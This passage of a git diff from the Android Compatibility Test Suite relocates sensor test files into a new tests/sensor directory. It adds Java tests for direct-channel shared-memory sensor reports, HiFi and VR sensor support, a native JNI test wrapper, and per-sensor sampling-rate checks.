+        Sensor s = mSensorManager.getDefaultSensor(sensorType);
+        if (s == null
+                || s.getHighestDirectReportRateLevel() < rateLevel
+                || !s.isDirectChannelTypeSupported(memType)) {
+            return;
+        }
+
+        try {
+            switch(memType) {
+                case SensorDirectChannel.TYPE_MEMORY_FILE:
+                    assertTrue("MemoryFile is null", mMemoryFile != null);
+                    mChannel = mSensorManager.createDirectChannel(mMemoryFile);
+                    break;
+                case SensorDirectChannel.TYPE_HARDWARE_BUFFER:
+                    assertTrue("HardwareBuffer is null", mHardwareBuffer != null);
+                    mChannel = mSensorManager.createDirectChannel(mHardwareBuffer);
+                    break;
+                default:
+                    Log.e(TAG, "Specified illegal memory type " + memType);
+                    return;
+            }
+        } catch (IllegalStateException e) {
+            mChannel = null;
+        }
+        assertTrue("createDirectChannel failed", mChannel != null);
+
+        try {
+            assertTrue("Shared memory is not formatted", isSharedMemoryFormatted(memType));
+            waitBeforeStartSensor();
+
+            int token = mChannel.configure(s, rateLevel);
+            assertTrue("configure direct mChannel failed", token > 0);
+
+            waitSensorCollection();
+
+            //stop sensor and analyze content
+            mChannel.configure(s, SensorDirectChannel.RATE_STOP);
+            checkSharedMemoryContent(s, memType, rateLevel, token);
+        } finally {
+            mChannel.close();
+            mChannel = null;
+        }
+    }
+
+    private void waitBeforeStartSensor() {
+        // wait for sensor system to come to a rest after previous test to avoid flakiness.
+        try {
+            SensorCtsHelper.sleep(REST_PERIOD_BEFORE_TEST_MILLISEC, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            Thread.currentThread().interrupt();
+        }
+    }
+
+    private void waitSensorCollection() {
+        // wait for sensor system to come to a rest after previous test to avoid flakiness.
+        try {
+            SensorCtsHelper.sleep(TEST_RUN_TIME_PERIOD_MILLISEC, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            Thread.currentThread().interrupt();
+        }
+    }
+
+    private MemoryFile allocateMemoryFile() {
+        MemoryFile memFile = null;
+        try {
+            memFile = new MemoryFile("Sensor Channel", SHARED_MEMORY_SIZE);
+        } catch (IOException e) {
+            Log.e(TAG, "IOException when allocating MemoryFile");
+        }
+        return memFile;
+    }
+
+    private HardwareBuffer allocateHardwareBuffer() {
+        HardwareBuffer hardwareBuffer;
+
+        hardwareBuffer = HardwareBuffer.create(
+                SHARED_MEMORY_SIZE, 1 /* height */, HardwareBuffer.BLOB, 1 /* layer */,
+                HardwareBuffer.USAGE_CPU_READ_OFTEN | HardwareBuffer.USAGE_GPU_DATA_BUFFER
+                    | HardwareBuffer.USAGE_SENSOR_DIRECT_DATA);
+        return hardwareBuffer;
+    }
+
+    private boolean isMemoryTypeNeeded(int memType) {
+        List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL);
+        for (Sensor s : sensorList) {
+            if (s.isDirectChannelTypeSupported(memType)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private boolean isSharedMemoryFormatted(int memType) {
+        if (memType == SensorDirectChannel.TYPE_MEMORY_FILE) {
+            if (!readMemoryFileContent()) {
+                Log.e(TAG, "Read MemoryFile content fail");
+                return false;
+            }
+        } else {
+            if (!readHardwareBufferContent()) {
+                Log.e(TAG, "Read HardwareBuffer content fail");
+                return false;
+            }
+        }
+
+        for (byte b : mBuffer) {
+            if (b != 0) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private void checkSharedMemoryContent(Sensor s, int memType, int rateLevel, int token) {
+        if (memType == SensorDirectChannel.TYPE_MEMORY_FILE) {
+            assertTrue("read MemoryFile content failed", readMemoryFileContent());
+        } else {
+            assertTrue("read HardwareBuffer content failed", readHardwareBufferContent());
+        }
+
+        int offset = 0;
+        int nextSerial = 1;
+        DirectReportSensorEvent e = new DirectReportSensorEvent();
+        while (offset <= SHARED_MEMORY_SIZE - SENSORS_EVENT_SIZE) {
+            parseSensorEvent(mBuffer, offset, e);
+
+            if (e.serial == 0) {
+                // reaches end of events
+                break;
+            }
+
+            assertTrue("incorrect size " + e.size + "  at offset " + offset,
+                    e.size == SENSORS_EVENT_SIZE);
+            assertTrue("incorrect token " + e.token + " at offset " + offset,
+                    e.token == token);
+            assertTrue("incorrect serial " + e.serial + " at offset " + offset,
+                    e.serial == nextSerial);
+            assertTrue("incorrect type " + e.type + " offset " + offset,
+                    e.type == s.getType());
+
+            switch(s.getType()) {
+                case Sensor.TYPE_ACCELEROMETER:
+                    double accNorm = Math.sqrt(e.x * e.x + e.y * e.y + e.z * e.z);
+                    assertTrue("incorrect gravity norm " + accNorm + " at offset " + offset,
+                            accNorm < GRAVITY_MAX && accNorm > GRAVITY_MIN);
+                    break;
+                case Sensor.TYPE_GYROSCOPE:
+                    double gyroNorm = Math.sqrt(e.x * e.x + e.y * e.y + e.z * e.z);
+                    assertTrue("gyro norm too large (" + gyroNorm + ") at offset " + offset,
+                            gyroNorm < GYRO_NORM_MAX);
+                    break;
+            }
+
+            ++nextSerial;
+            offset += SENSORS_EVENT_SIZE;
+        }
+
+        int nEvents = nextSerial - 1;
+        float nominalFreq = 0;
+
+        switch (rateLevel) {
+            case SensorDirectChannel.RATE_NORMAL:
+                nominalFreq = RATE_NORMAL_NOMINAL;
+                break;
+            case SensorDirectChannel.RATE_FAST:
+                nominalFreq = RATE_FAST_NOMINAL;
+                break;
+            case SensorDirectChannel.RATE_VERY_FAST:
+                nominalFreq = RATE_VERY_FAST_NOMINAL;
+                break;
+        }
+
+        if (nominalFreq != 0) {
+            int minEvents;
+            int maxEvents;
+            minEvents = (int) Math.floor(
+                    nominalFreq
+                    * FREQ_LOWER_BOUND
+                    * (TEST_RUN_TIME_PERIOD_MILLISEC - ALLOWED_SENSOR_INIT_TIME_MILLISEC)
+                    * (1 - MERCY_FACTOR)
+                    / 1000);
+            maxEvents = (int) Math.ceil(
+                    nominalFreq
+                    * FREQ_UPPER_BOUND
+                    * (TEST_RUN_TIME_PERIOD_MILLISEC - ALLOWED_SENSOR_INIT_TIME_MILLISEC)
+                    * (1 + MERCY_FACTOR)
+                    / 1000);
+
+            assertTrue("nEvent is " + nEvents + " not between " + minEvents + " and " + maxEvents,
+                    nEvents >= minEvents && nEvents <=maxEvents);
+        }
+    }
+
+    private boolean readMemoryFileContent() {
+        try {
+            if (mMemoryFile.readBytes(mBuffer, 0, 0, SHARED_MEMORY_SIZE)
+                    != SHARED_MEMORY_SIZE) {
+                Log.e(TAG, "cannot read entire MemoryFile");
+                return false;
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "accessing MemoryFile cause IOException");
+            return false;
+        }
+        return true;
+    }
+
+    private boolean readHardwareBufferContent() {
+        return nativeReadHardwareBuffer(mHardwareBuffer, mBuffer, 0, 0, SHARED_MEMORY_SIZE);
+    }
+
+    private class DirectReportSensorEvent {
+        int size;
+        int token;
+        int type;
+        int serial;
+        long ts;
+        float x;
+        float y;
+        float z;
+    };
+
+    // parse sensors_event_t and fill information into DirectReportSensorEvent
+    private static void parseSensorEvent(byte [] buf, int offset, DirectReportSensorEvent ev) {
+        ByteBuffer b = ByteBuffer.wrap(buf, offset, SENSORS_EVENT_SIZE);
+        b.order(ByteOrder.nativeOrder());
+
+        ev.size = b.getInt();
+        ev.token = b.getInt();
+        ev.type = b.getInt();
+        ev.serial = b.getInt();
+        ev.ts = b.getLong();
+        ev.x = b.getFloat();
+        ev.y = b.getFloat();
+        ev.z = b.getFloat();
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/SensorIntegrationTests.java b/tests/sensor/src/android/hardware/cts/SensorIntegrationTests.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/SensorIntegrationTests.java
rename to tests/sensor/src/android/hardware/cts/SensorIntegrationTests.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/SensorManagerStaticTest.java b/tests/sensor/src/android/hardware/cts/SensorManagerStaticTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/SensorManagerStaticTest.java
rename to tests/sensor/src/android/hardware/cts/SensorManagerStaticTest.java
diff --git a/tests/sensor/src/android/hardware/cts/SensorNativeTest.java b/tests/sensor/src/android/hardware/cts/SensorNativeTest.java
new file mode 100644
index 0000000..7a05bf5
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/SensorNativeTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.hardware.Sensor;
+import android.hardware.SensorManager;
+
+/**
+ * Check sensor native library funcationality.
+ *
+ * This is the place to implement sensor NDK CTS tests.
+ */
+public class SensorNativeTest extends SensorTestCase {
+    private SensorManager mSensorManager;
+    private boolean mAreHifiSensorsSupported;
+    private boolean mVrHighPerformanceModeSupported;
+
+    protected native long nativeSetUp();
+    protected native void nativeTearDown(long instance);
+    private native void nativeTest(long instance);
+    private long mNativeInstance;
+
+    static {
+        System.loadLibrary("cts-sensors-ndk-jni");
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mNativeInstance = nativeSetUp();
+        assertTrue("create native instance failed", mNativeInstance != 0);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        nativeTearDown(mNativeInstance);
+    }
+
+    public void testNative() throws AssertionError {
+        nativeTest(mNativeInstance);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/SensorParameterRangeTest.java
rename to tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
new file mode 100644
index 0000000..09e4711
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.hardware.Sensor;
+import android.hardware.SensorManager;
+
+/**
+ * Checks if Hifi sensors  or VR High performance mode sensors
+ * are supported. When supported, checks individual support for
+ * Accelerometer, Gyroscope, Gyroscope_uncal, GeoMagneticField,
+ * MagneticField_uncal Pressure, RotationVector,
+ * SignificantMotion, StepDetector, StepCounter, TiltDetector.
+ *
+ * <p>To execute these test cases, the following command can be used:</p>
+ * <pre>
+ * adb shell am instrument -e class android.hardware.cts.SensorSupportTest \
+ *     -w android.hardware.cts/android.test.AndroidJUnitRunner
+ * </pre>
+ */
+public class SensorSupportTest extends SensorTestCase {
+    private SensorManager mSensorManager;
+    private boolean mAreHifiSensorsSupported;
+    private boolean mVrHighPerformanceModeSupported;
+
+    @Override
+    public void setUp() {
+        PackageManager pm = getContext().getPackageManager();
+        // Tests will only run if either HIFI_SENSORS or VR high performance mode is supported.
+        mAreHifiSensorsSupported = pm.hasSystemFeature(PackageManager.FEATURE_HIFI_SENSORS);
+        mVrHighPerformanceModeSupported = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
+        if (mAreHifiSensorsSupported || mVrHighPerformanceModeSupported) {
+            mSensorManager =
+                    (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
+        }
+    }
+
+    public void testSupportsAccelerometer() {
+        checkSupportsSensor(Sensor.TYPE_ACCELEROMETER);
+    }
+
+    public void testSupportsGyroscope() {
+        checkSupportsSensor(Sensor.TYPE_GYROSCOPE);
+    }
+
+    public void testSupportsGyroscopeUncalibrated() {
+        checkSupportsSensor(Sensor.TYPE_GYROSCOPE_UNCALIBRATED);
+    }
+
+    public void testSupportsGeoMagneticField() {
+        checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD);
+    }
+
+    public void testSupportsMagneticFieldUncalibrated() {
+        checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED);
+    }
+
+    public void testSupportsPressure() {
+        checkSupportsSensor(Sensor.TYPE_PRESSURE);
+    }
+
+    public void testSupportsRotationVector() {
+        checkSupportsSensor(Sensor.TYPE_ROTATION_VECTOR);
+    }
+
+    public void testSupportsSignificantMotion() {
+        checkSupportsSensor(Sensor.TYPE_SIGNIFICANT_MOTION);
+    }
+
+    public void testSupportsStepDetector() {
+        checkSupportsSensor(Sensor.TYPE_STEP_DETECTOR);
+    }
+
+    public void testSupportsStepCounter() {
+        checkSupportsSensor(Sensor.TYPE_STEP_COUNTER);
+    }
+
+    public void testSupportsTiltDetector() {
+        final int TYPE_TILT_DETECTOR = 22;
+        checkSupportsSensor(TYPE_TILT_DETECTOR);
+    }
+
+    private boolean sensorRequiredForVrHighPerformanceMode(int sensorType) {
+        if (sensorType == Sensor.TYPE_MAGNETIC_FIELD ||
+            sensorType == Sensor.TYPE_GYROSCOPE ||
+            sensorType == Sensor.TYPE_ACCELEROMETER) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    private void checkSupportsSensor(int sensorType) {
+        if (mAreHifiSensorsSupported ||
+            (mVrHighPerformanceModeSupported &&
+             sensorRequiredForVrHighPerformanceMode(sensorType))) {
+            assertTrue(mSensorManager.getDefaultSensor(sensorType) != null);
+        }
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/SensorTest.java b/tests/sensor/src/android/hardware/cts/SensorTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/SensorTest.java
rename to tests/sensor/src/android/hardware/cts/SensorTest.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/SensorTestCase.java b/tests/sensor/src/android/hardware/cts/SensorTestCase.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/SensorTestCase.java
rename to tests/sensor/src/android/hardware/cts/SensorTestCase.java
diff --git a/tests/sensor/src/android/hardware/cts/SingleSensorTests.java b/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
new file mode 100644
index 0000000..a626957
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
@@ -0,0 +1,605 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts;
+
+import android.content.Context;
+import android.hardware.Sensor;
+import android.hardware.SensorManager;
+import android.hardware.cts.helpers.SensorCtsHelper;
+import android.hardware.cts.helpers.SensorStats;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.sensoroperations.TestSensorOperation;
+import android.content.pm.PackageManager;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Set of tests to verify that sensors operate correctly when operating alone.
+ * <p>
+ * To execute these test cases, the following command can be used:
+ * </p><pre>
+ * adb shell am instrument -e class android.hardware.cts.SingleSensorTests \
+ *     -w android.hardware.cts/android.test.AndroidJUnitRunner
+ * </pre><p>
+ * For each sensor that reports continuously, it takes a set of samples. The test suite verifies
+ * that the event ordering, frequency, and jitter pass for the collected sensor events. It
+ * additionally tests that the mean, standard deviation, and magnitude are correct for the sensor
+ * event values, where applicable for a device in a static environment.
+ * </p><p>
+ * The event ordering test verifies the ordering of the sampled data reported by the Sensor under
+ * test. This test is used to guarantee that sensor data is reported in the order it occurs, and
+ * that events are always reported in order. It verifies that each event's timestamp is in the
+ * future compared with the previous event. At the end of the validation, the full set of events is
+ * verified to be ordered by timestamp as they are generated. The test can be susceptible to errors
+ * if the sensor sampled data is not timestamped at the hardware level. Or events sampled at high
+ * rates are added to the FIFO without controlling the appropriate ordering of the events.
+ * </p><p>
+ * The frequency test verifies that the sensor under test can sample and report data at the maximum
+ * frequency (sampling rate) it advertises. The frequency between events is calculated by looking at
+ * the delta between the timestamps associated with each event to get the period. The test is
+ * susceptible to errors if the sensor is not capable to sample data at the maximum rate it
+ * supports, or the sensor events are not timestamped at the hardware level.
+ * </p><p>
+ * The jitter test verifies that the event jittering associated with the sampled data reported by
+ * the sensor under test aligns with the requirements imposed in the CDD. This test characterizes
+ * how the sensor behaves while sampling data at a specific rate. It compares the 95th percentile of
+ * the jittering with a certain percentage of the minimum period. The test is susceptible to errors
+ * if the sensor events are not timestamped at the hardware level.
+ * </p><p>
+ * The mean test verifies that the mean of a set of sampled data from a particular sensor falls into
+ * the expectations defined in the CDD. The verification applies to each axis of the sampled data
+ * reported by the sensor under test. This test is used to validate the requirement imposed by the
+ * CDD to Sensors in Android and characterizes how the Sensor behaves while static. The test is
+ * susceptible to errors if the device is moving while the test is running, or if the sensor's
+ * sampled data indeed varies from the expected mean.
+ * </p><p>
+ * The magnitude test verifies that the magnitude of the sensor data is close to the expected
+ * reference value. The units of the reference value are dependent on the type of sensor.
+ * This test is used to verify that the data reported by the sensor is close to the expected
+ * range and scale. The test calculates the Euclidean norm of the vector represented by the sampled
+ * data and compares it against the test expectations. The test is susceptible to errors when the
+ * sensor under test is uncalibrated, or the units between the data and expectations are different.
+ * </p><p>
+ * The standard deviation test verifies that the standard deviation of a set of sampled data from a
+ * particular sensor falls into the expectations defined in the CDD. The verification applies to
+ * each axis of the sampled data reported by the sensor under test. This test is used to validate
+ * the requirement imposed by the CDD to Sensors in Android and characterizes how the Sensor behaves
+ * while static. The test is susceptible to errors if the device is moving while the test is
+ * running, or if the sensor's sampled data indeed falls into a large standard deviation.
+ * </p>
+ */
+public class SingleSensorTests extends SensorTestCase {
+    private static final String TAG = "SingleSensorTests";
+
+    private static final int RATE_200HZ = 5000;
+    private static final int RATE_100HZ = 10000;
+    private static final int RATE_50HZ = 20000;
+    private static final int RATE_25HZ = 40000;
+    private static final int RATE_15HZ = 66667;
+    private static final int RATE_10HZ = 100000;
+    private static final int RATE_5HZ = 200000;
+    private static final int RATE_1HZ = 1000000;
+
+    /**
+     * This test verifies that the sensor's properties complies with the required properties set in
+     * the CDD.
+     * <p>
+     * It checks that the sampling rate advertised by the sensor under test matches that which is
+     * required by the CDD.
+     * </p>
+     */
+    public void testSensorProperties() {
+        // sensor type: [getMinDelay()]
+        Map<Integer, Object[]> expectedProperties = new HashMap<>(3);
+        if(getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+                expectedProperties.put(Sensor.TYPE_ACCELEROMETER, new Object[]{20000});
+                expectedProperties.put(Sensor.TYPE_GYROSCOPE, new Object[]{20000});
+        }else {
+                expectedProperties.put(Sensor.TYPE_ACCELEROMETER, new Object[]{10000});
+                expectedProperties.put(Sensor.TYPE_GYROSCOPE, new Object[]{10000});
+        }
+        expectedProperties.put(Sensor.TYPE_MAGNETIC_FIELD, new Object[]{100000});
+
+        SensorManager sensorManager =
+                (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
+        assertNotNull("SensorManager not present in the system.", sensorManager);
+        for (Entry<Integer, Object[]> entry : expectedProperties.entrySet()) {
+            Sensor sensor = sensorManager.getDefaultSensor(entry.getKey());
+            if (sensor != null) {
+                if (entry.getValue()[0] != null) {
+                    int expected = (Integer) entry.getValue()[0];
+                    String msg = String.format(
+                            "%s: min delay %dus expected to be less than or equal to %dus",
+                            sensor.getName(),
+                            sensor.getMinDelay(),
+                            expected);
+                    assertTrue(msg, sensor.getMinDelay() <= expected);
+                }
+            }
+        }
+    }
+
+    // TODO: Figure out if a better way to enumerate test cases programmatically exists that works
+    // with CTS framework.
+    public void testAccelerometer_fastest() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER, SensorManager.SENSOR_DELAY_FASTEST);
+    }
+
+    public void testAccelerometer_200hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_200HZ);
+    }
+
+    public void testAccelerometer_100hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_100HZ);
+    }
+
+    public void testAccelerometer_50hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_50HZ);
+    }
+
+    public void testAccelerometer_25hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_25HZ);
+    }
+
+    public void testAccelerometer_15hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_15HZ);
+    }
+
+    public void testAccelerometer_10hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_10HZ);
+    }
+
+    public void testAccelerometer_5hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_5HZ);
+    }
+
+    public void testAccelerometer_1hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_1HZ);
+    }
+
+    public void testAccelUncalibrated_fastest() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, SensorManager.SENSOR_DELAY_FASTEST);
+    }
+
+    public void testAccelUncalibrated_200hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_200HZ);
+    }
+
+    public void testAccelUncalibrated_100hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_100HZ);
+    }
+
+    public void testAccelUncalibrated_50hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_50HZ);
+    }
+
+    public void testAccelUncalibrated_25hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_25HZ);
+    }
+
+    public void testAccelUncalibrated_15hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_15HZ);
+    }
+
+    public void testAccelUncalibrated_10hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_10HZ);
+    }
+
+    public void testAccelUncalibrated_5hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_5HZ);
+    }
+
+    public void testAccelUncalibrated_1hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_1HZ);
+    }
+
+    public void testMagneticField_fastest() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, SensorManager.SENSOR_DELAY_FASTEST);
+    }
+
+    public void testMagneticField_200hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_200HZ);
+    }
+
+    public void testMagneticField_100hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_100HZ);
+    }
+
+    public void testMagneticField_50hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_50HZ);
+    }
+
+    public void testMagneticField_25hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_25HZ);
+    }
+
+    public void testMagneticField_15hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_15HZ);
+    }
+
+    public void testMagneticField_10hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_10HZ);
+    }
+
+    public void testMagneticField_5hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_5HZ);
+    }
+
+    public void testMagneticField_1hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_1HZ);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testOrientation_fastest() throws Throwable {
+        runSensorTest(Sensor.TYPE_ORIENTATION, SensorManager.SENSOR_DELAY_FASTEST);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testOrientation_200hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_200HZ);
+    }
+    @SuppressWarnings("deprecation")
+    public void testOrientation_100hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_100HZ);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testOrientation_50hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_50HZ);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testOrientation_25hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_25HZ);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testOrientation_15hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_15HZ);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testOrientation_10hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_10HZ);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testOrientation_5hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_5HZ);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testOrientation_1hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_1HZ);
+    }
+
+    public void testGyroscope_fastest() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE, SensorManager.SENSOR_DELAY_FASTEST);
+    }
+
+    public void testGyroscope_200hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_200HZ);
+    }
+
+    public void testGyroscope_100hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_100HZ);
+    }
+
+    public void testGyroscope_50hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_50HZ);
+    }
+
+    public void testGyroscope_25hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_25HZ);
+    }
+
+    public void testGyroscope_15hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_15HZ);
+    }
+
+    public void testGyroscope_10hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_10HZ);
+    }
+
+    public void testGyroscope_5hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_5HZ);
+    }
+
+    public void testGyroscope_1hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_1HZ);
+    }
+
+    public void testPressure_fastest() throws Throwable {
+        runSensorTest(Sensor.TYPE_PRESSURE, SensorManager.SENSOR_DELAY_FASTEST);
+    }
+
+    public void testPressure_200hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_PRESSURE, RATE_200HZ);
+    }
+
+    public void testPressure_100hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_PRESSURE, RATE_100HZ);
+    }
+
+    public void testPressure_50hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_PRESSURE, RATE_50HZ);
+    }
+
+    public void testPressure_25hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_PRESSURE, RATE_25HZ);
+    }
+
+    public void testPressure_15hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_PRESSURE, RATE_15HZ);
+    }
+
+    public void testPressure_10hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_PRESSURE, RATE_10HZ);
+    }
+
+    public void testPressure_5hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_PRESSURE, RATE_5HZ);
+    }
+
+    public void testPressure_1hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_PRESSURE, RATE_1HZ);
+    }
+
+    public void testGravity_fastest() throws Throwable {
+        runSensorTest(Sensor.TYPE_GRAVITY, SensorManager.SENSOR_DELAY_FASTEST);
+    }
+
+    public void testGravity_200hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GRAVITY, RATE_200HZ);
+    }
+
+    public void testGravity_100hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GRAVITY, RATE_100HZ);
+    }
+
+    public void testGravity_50hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GRAVITY, RATE_50HZ);
+    }
+
+    public void testGravity_25hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GRAVITY, RATE_25HZ);
+    }
+
+    public void testGravity_15hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GRAVITY, RATE_15HZ);
+    }
+
+    public void testGravity_10hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GRAVITY, RATE_10HZ);
+    }
+
+    public void testGravity_5hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GRAVITY, RATE_5HZ);
+    }
+
+    public void testGravity_1hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GRAVITY, RATE_1HZ);
+    }
+
